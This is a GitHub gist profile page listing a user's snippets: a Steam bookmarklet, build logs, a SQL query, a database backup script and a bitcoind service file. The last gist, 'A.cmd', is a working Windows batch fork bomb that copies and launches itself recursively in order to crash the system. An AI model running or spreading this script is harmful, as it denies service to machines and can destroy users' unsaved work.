Skip to content

Instantly share code, notes, and snippets.

Dāvis davispuh

Block or report user

Report or block davispuh

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@davispuh
davispuh / steamapps.js
Last active Aug 29, 2015
Free Steam apps
View steamapps.js
javascript:void%20function(){if(null===location.href.match(/^https:\/\/store\.steampowered\.com\/account\/%3F$/))return%20void%20alert(%22Please%20run%20this%20on%20Steam's%20account%20page%20details:%20https://store.steampowered.com/account/%22);var%20e=[62498,57178,62424,40585,60790,21154,21014,62298,60902,62313,62310,62307,62304,62301,61313,61897,58348,58197,62217,21376,61401,62193,62175,61884,62149,59907,61465,62126,56458,57792,60195,61243,62117,62112,59732,60895,62076,61398,61395,59457,61989,48134,52718,39544,61322,61848,61826,61770,60481,60988,56844,61527,61338,61614,53615,60224,61584,61562,56322,61474,61458,61455,58247,59771,59768,59765,61449,21490,61375,61369,61366,56364,61240,61292,61289,61270,61264,59884,57366,61219,61166,61184,52302,61126,61123,60938,61074,61059,61056,61048,61045,61033,61030,61008,60999,60982,60721,60205,46876,58394,54416,60888,60873,60870,60823,60806,60796,60793,60764,60761,60758,60749,60746,60743,60711,60662,60702,60689,60681,60678,60667,45117,59145,58549,60566,60563,60555,60519,
View podfm.js
var loc = window.document.getElementsByName("embeddedPlayer");
if (loc.length > 0) {
window.location = loc[0].src;
} else {
var a = window.document.getElementsByTagName("audio");
if (a.length > 0) {
if (!a[0].src) {
document.getElementsByClassName("jp-play")[0].click();
setTimeout(function(){ document.getElementsByClassName("jp-pause")[0].click(); },800);
};
View makecheck.log
Making check in docs
make[1]: Entering directory '/home/davis/GitHub/cubeb/docs'
make[1]: Nothing to be done for 'check'.
make[1]: Leaving directory '/home/davis/GitHub/cubeb/docs'
make[1]: Entering directory '/home/davis/GitHub/cubeb'
make test/test_sanity test/test_tone test/test_audio test/test_latency
make[2]: Entering directory '/home/davis/GitHub/cubeb'
CXX test/test_sanity.o
CXXLD test/test_sanity
CXX test/test_tone.o
View make.log
make all-recursive
make[1]: Entering directory '/home/davis/GitHub/cubeb'
Making all in docs
make[2]: Entering directory '/home/davis/GitHub/cubeb/docs'
echo "*** Warning: Doxygen not found; documentation will not be built."
*** Warning: Doxygen not found; documentation will not be built.
touch doxygen-build.stamp
make[2]: Leaving directory '/home/davis/GitHub/cubeb/docs'
make[2]: Entering directory '/home/davis/GitHub/cubeb'
CC src/cubeb.lo
@davispuh
davispuh / configure
Last active Aug 29, 2015
cubeb configure
View configure
checking build system type... armv7l-unknown-linux-gnueabihf
checking host system type... armv7l-unknown-linux-gnueabihf
checking target system type... armv7l-unknown-linux-gnueabihf
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /usr/bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether make supports nested variables... (cached) yes
@davispuh
davispuh / channels.sql
Created Aug 26, 2014
Most active channels
View channels.sql
SELECT count(messageid) as count, buffername as channel
FROM backlog
LEFT JOIN buffer ON buffer.bufferid = backlog.bufferid
WHERE buffername != ''
GROUP BY buffername ORDER BY count DESC
LIMIT 30;
@davispuh
davispuh / backup.sh
Created Aug 17, 2014
Quassel backup
View backup.sh
#!/bin/bash
USER="quassel"
DATABASE="quassel"
NOW=$(date +"%Y-%m-%d")
FILENAME=./db_backup_${DATABASE}_${NOW}.sql.gz
pg_dump -U $USER $DATABASE | gzip -9 > $FILENAME
@davispuh
davispuh / conflicts.csv
Created Feb 18, 2014
Namecoin conflicts when merged in Bitcoin master branch
View conflicts.csv
We can make this file beautiful and searchable if this error is corrected: No commas found in this CSV file in line 0.
File Name;Path;Count
.gitignore;namecoin;2
COPYING;namecoin;2
README.md;namecoin;2
allocators.h;namecoin\src;8
base58.h;namecoin\src;1
bitcoinrpc.cpp;namecoin\src;1
crypter.cpp;namecoin\src;4
crypter.h;namecoin\src;4
db.cpp;namecoin\src;17
@davispuh
davispuh / bitcoind.service
Created Jan 6, 2014
Bitcoin-daemon service file for Systemd
View bitcoind.service
[Unit]
Description=Bitcoin daemon serivce
After=network.target
[Service]
Type=simple
User=bitcoin
ExecStart=/usr/bin/bitcoind
[Install]
@davispuh
davispuh / A.cmd
Last active Dec 27, 2015
Crash Windows. Tested to work for XP, Vista, Windows 7
View A.cmd
@echo off
REM This script is dedicated to Public Domain
FOR %%i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9) DO (
mkdir %%i
copy %~nx0 %%i
cd %%i
start %~nx0
cd ..
)
del %~nx0
You can’t perform that action at this time.